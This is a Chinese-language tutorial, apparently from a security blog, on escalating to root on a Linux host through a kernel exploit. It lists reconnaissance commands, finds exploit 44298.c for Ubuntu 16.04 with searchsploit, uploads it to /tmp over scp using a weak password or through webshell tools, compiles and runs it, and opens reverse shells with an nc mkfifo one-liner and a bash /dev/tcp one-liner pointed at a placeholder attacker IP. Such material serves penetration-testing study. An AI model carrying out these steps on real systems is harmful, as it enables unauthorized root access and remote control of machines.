本地内核提权

目录

 

一.概述

二.利用步骤

1.信息收集

(1)用户权限

 (2)内核版本(uname -r)

 ​(3)内核版本信息(cat /etc/issue)

2.提权

(1)搜索内核版本EXP(searchsploit 内核版本)

 (2)EXP上传目标主机

(3)目标主机编译EXP(gcc exp.c -o payload)

3.其他(无法提权情况)

(1)nc监听(nc -lvp 监听端口)

(2)shell反弹

三.内核提权总结

 

一.概述

Linux系统漏洞的exp一般按照内核版本来命名:2.6.18-194或2.6.18.c。形如2.6.18-194,可以直接执行;形如2.6.18.c,需要编译后运行,提权。
当然也有少部分exp是按照发行版版本命名。在使用exp提权时直接使exp执行即可,一般情况下linux的本地提权要用nc反弹出来,因为Linux下提升权限后得到的是交互式shell,需反弹才能进行下一步命令的执行。
那么我们如何知道使用哪个exp来提权呢?使用uname-a命令或者cat/proc/version,来判断系统的内核情况等等,然后使用相对应的exp进行提权。
1.提权过程中需要为你的提权exp赋权,使用chmod命令。
2.linux服务器很多情况下管理员会设置目录权限,普通权限无法修改,但是一般/tmp/目录不会被设置权限,这和windows下的tmp和回收站是一个道理。

二.利用步骤

1.信息收集

(1)用户权限

执行命令id,查看当前用户的UID及GID。UID和GID为1000,确认为普通用户

0603e3acd3fb4bf6abb4803776224b7f.png

 (2)内核版本(uname -r)

普通用户权限有很多限制,因此可以通过内核提权来突破这些限制。执行命令uname -r,查看内核版本

aed9c9b076304ceb97189770301c9483.png
(3)内核版本信息(cat /etc/issue)

执行命令cat/etc/issue,发现系统版本为Ubuntu 16.04.3,为后面寻找EXP进行内核提权做准备

 c5973805a14241fa8d9b826bd0ddadc7.png

2.提权

(1)搜索内核版本EXP(searchsploit 内核版本)

使用Kali下的searchsploit命令,根据目标主机内核版本linux4.4.0线索搜索对应EXP。执行命令searchsploit  linux  4.4.0ubuntu,搜索系统内核为4.4.0的相关漏洞,根据信息收集步骤得知目标主机操作系统Ubuntu16.04.3内核为4.4.0-93,目标主机内核小于4.4.0-116,并且系统版本也符合16.04,所以使用的EXP为44298.c。

本地内核提权_第1张图片

 (2)EXP上传目标主机

上传方法一(kali直接上传):

定位到EXP后下一步要将EXP上传至目标主机。如果目标主机是弱口令获取的Shell,可以执行命令scp /usr/share/exploitdb/exploits/linux/local/44298.c  目标主机名@目标主机IP :/tmp,上传EXP,输入yes确认连接,并在系统询问时输入用户弱口令密码。

本地内核提权_第2张图片

 之所以要拷贝到tmp目录,是因为通常所有用户对此目录都具有读写权限,scp为Linux的传输命令

(3)目标主机编译EXP(gcc exp.c -o payload)

进入目标主机,执行命令cd /tmp,切换至/tmp目录。由于上传的EXP为C语言程序,所以需要执行命令gcc 44298.c-o payload,使用gcc编译上传的EXP保存至名为payload的文件。

再执行命令./payload,运行编译输出的文件,此时系统已提升为root权限,执行命令whoami,进行验证

本地内核提权_第3张图片

 上传方法二:

(1)在Kali中将EXP文件下载 ——通过蚁剑/冰蝎/哥斯拉等工具将文件上传至目标主机tmp目录下——在蚁剑/冰蝎/哥斯拉工具下使用虚拟终端gcc编译exp——提权

3.其他(无法提权情况)

有时候如果exp文件有可执行权限,直接执行./exp后发现却不能执行root命令,无法提权。这是为什么呢?
这是因为webshell并不是可交互式shell,执行程序是一次性执行,并不持续,所以这就需要首先获取一个可交互式shell,Linux下有nc,为了安全起见,取消了-e选项,避免了反弹/bin/bash,可以通过建立通信管道来进行nc反弹shell。

(1)nc监听(nc -lvp 监听端口)

新建一个终端利用nc监听2345端口,命令为nc -lvp 2345

(2)shell反弹

在AntSword/冰蝎工具中中切换到虚拟终端中执行

rm /tmp/f;mkfifo/tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 攻击机IP 监听端口>/tmp/f 然后在nc中就可以看到反弹回来的shell了

(3)除了上面利用nc的方式外,还可以使用bash -i>& /dev/tcp/攻击机IP/ 监听端口 0>&1来反弹shell
(4)输入命令./exp执行提权

三.内核提权总结

先信息收集到内核版本-----再利用kali进行exp寻找-----找到之后将exp上传(或拷贝)到目标主机的tmp目录下-----目标主机tmp目录下gcc执行上传的payload-----提权。

 

你可能感兴趣的:(#,Linux提权,大数据,渗透测试,web安全)